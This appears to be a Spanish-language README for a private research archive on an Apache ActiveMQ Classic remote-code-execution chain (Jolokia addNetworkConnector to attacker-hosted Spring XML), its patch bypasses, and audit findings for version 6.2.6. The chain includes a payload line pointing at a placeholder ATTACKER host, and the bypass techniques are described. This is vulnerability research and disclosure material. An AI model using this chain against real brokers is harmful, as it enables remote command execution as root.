Investigación de RCE en Apache ActiveMQ Classic: cadena de bypass de CVE-2026-34197 / CVE-2026-42588 + hallazgos de auditoría de hardened-6.2.6 + comparación con Crowdfense
Archivo de investigación privado para la cadena de ejecución remota de código Apache ActiveMQ Classic Jolokia → addNetworkConnector → xbean/Spring-XML (CVE-2026-34197 y su evasión del parche CVE-2026-42588), además de una auditoría completa de auto-investigación de la versión corregida 6.2.6 y una comparación lado a lado con el informe público de evasión de Crowdfense.
Toda la explotación se realizó contra brokers de laboratorio locales (Docker / autoalojados). Los payloads utilizan hosts atacantes de marcador de posición.
| Dir | Fase | Qué incluye |
|---|---|---|
00-comparison-vs-crowdfense.md | Comparación | Nuestro trabajo frente al artículo «ActiveMQ RCE Bypass» de Crowdfense, verificado contra el código fuente en archivo:línea |
01-original-cve-2026-34197/ | Reproducción original | Análisis + scripts PoC + payloads Spring-XML (laboratorio: activemq-classic:5.18.6) |
02-reaudit-apr30/ | Matriz de versiones | uid=0 en 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7; evaluación + PoC + version-matrix.sh |
03-reaudit-42588-42253/ | Evasión en vivo | Evasión compuesta sin paréntesis (42588) + XSS de MessageServlet (42253), reproducidos en vivo |
04-audit-6.2.6/ | Auditoría completa | Auditoría de auto-investigación de 6.2.6 endurecido: informe final + registro de hallazgos |
Los árboles de código fuente y las distribuciones binarias del proveedor utilizados durante los laboratorios están excluidos a propósito (son de upstream, no nuestros).
Un llamador Jolokia autenticado (no autenticado en 6.0.0–6.1.1 mediante CVE-2024-32114) invoca BrokerView.addNetworkConnector(uri) con una URI de descubrimiento manipulada cuyo vm://…?brokerConfig=xbean:<url> interno obliga al broker a cargar un Spring XML controlado por el atacante, que instancia de forma ansiosa un bean ProcessBuilder antes de la validación del broker → ejecución de comandos del sistema operativo.
POST /api/jolokia/ → BrokerView.addNetworkConnector(String)
→ static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
→ VMTransportFactory dynamic broker creation → XBeanBrokerFactory
→ ResourceXmlApplicationContext loads Spring XML → ProcessBuilder bean → RCE
Titular: tres hallazgos están probados en vivo hasta root/XSS; la auditoría de 6.2.6 añade un conjunto más amplio que está verificado contra el código fuente y evaluado de forma adversarial, pero aún no detonado en vivo. Ninguno de los extras de 6.2.6 es un RCE no autenticado nuevo — el proveedor cerró esas puertas; el riesgo residual se trasladó a la autorización y la codificación de salida.
| ID | Hallazgo | Clase | Severidad | Autenticación | Prueba |
|---|---|---|---|---|---|
| CVE-2026-34197 | Jolokia addNetworkConnector → RCE xbean Spring-XML | RCE | Crítica | Post-autenticación (no autenticado 6.0.0–6.1.1) | En vivo — uid=0 en 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7 |
| CVE-2026-42588 | Evasión de la lista de denegación de 34197 mediante URI compuesta sin paréntesis | RCE (evasión de parche) | Crítica | Post-autenticación | En vivo — uid=0 en 5.19.6 con parche de 34197 + 6.2.0 |
| CVE-2026-42253 | Inyección de cabecera de MessageServlet → XSS almacenado | Inyección / XSS | Media | Post-autenticación | En vivo en 6.2.0 |
| ID | Hallazgo | Clase | Severidad | Autenticación | Notas |
|---|---|---|---|---|---|
| C1 | static: falta en la lista de denegación → SSRF — static ausente de DENIED_TRANSPORT_SCHEMES; addNetworkConnector("static:(tcp://…)") → TCP saliente del broker | SSRF | Media | Admin / JMX | Variante de sink más allá de la misma lista de denegación 34197/42588 que cubre el artículo |
| B1 | Suscripciones duraderas IDOR de borrado entre clientId — removeSubscription se basa en el clientId suministrado por la conexión y no tiene compuerta en AuthorizationBroker | Autorización rota / IDOR | Media | Post-autenticación (pre-autenticación si la autenticación del broker está desactivada) | El nuevo más limpio |
| B3 | LDAP contraseña vacía → bind anónimo (LDAPLoginModule, sin comprobación de vacío) | Evasión de autenticación | Media (cond.) | Pre-autenticación | Condicionado a que el directorio acepte binds anónimos |
| A1–A7 | Familia de inyección por codificación de salida en consola — MessageId.textView controlado por el atacante (OpenWire v10+ y AMQP) sin escapar en ~7 sinks JSP/REST + path-traversal de FileSystemBlobStrategy | Inyección | Baja–Media | Productor → administrador | Limitado por CSP a inyección de HTML/contenido por defecto |
| B2 | Shiro WildcardPermission escalada de verbos por inyección de dos puntos | Escalada de privilegios | Baja–Media | Post-autenticación | Shiro no predeterminado |
| B4 | Autorización de destinos temporales fail-open asimétrica frente a fail-closed en no temporales | Autorización rota | Baja | Post-autenticación | Por diseño (AMQ-4721); nota de endurecimiento |
| B5 | StatisticsBroker replyTo omite la ACL de escritura cuando el plugin se ordena antes de la autorización | Autorización rota | Baja | Post-autenticación | Depende del orden de configuración |
| B6 | Inicio de sesión con certificado DN no canónico (getSubjectDN().getName()) → colisión de identidad entre certificados de la misma CA | Autenticación | Baja | Pre-autenticación (validado por TLS) | «Cualquier certificado autofirmado» no funciona |
| B7 | JMSXUserID suplantable cuando populateJMSXUserID=false (el valor por defecto) | Suplantación | Baja | Post-autenticación | — |
| F5 | El nombre de cabecera STOMP saliente nunca se escapa → inyección de tramas al suscriptor co-tenant | Inyección | Baja | Entre protocolos | STOMP habilitado |
AIOOBE del ordinal QoS de MQTT (QoS.values()[ordinal], entre protocolos, sin configuración) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · NegativeArraySizeException de short con signo en unmarshal de OpenWire · AMQ_SCHEDULED_REPEAT negativo que crea trabajos inmortales.
El Apache ActiveMQ RCE Bypass de Crowdfense cubre la misma cadena (ellos la registran bajo CVE-2026-34197; nosotros seguimos la evasión como su propio CVE-2026-42588). Ambas versiones convergen en una defensa de tres capas; la única divergencia es la Capa 2.
| Capa | Defensa | Cómo la vence Crowdfense | Cómo la vencimos nosotros |
|---|---|---|---|
| 1 | Lista de denegación de esquemas (fix de 34197) | Compuesta sin paréntesis static:vm://… | La misma — encontrada de forma independiente ✅ |
| 2 | Lista blanca {file,classpath} de xbean (#1910) | file:%2f%2f… con codificación porcentual → Windows UNC → WebDAV → recuperación HTTP remota | Archivo local xbean:/tmp/evil.xml (requiere escritura local) |
| 3 | Compuerta de esquema de VMTransportFactory (broker,properties, el fix de 42588 / 6.2.6) | Reconocida como la definitiva | Misma conclusión ✅ |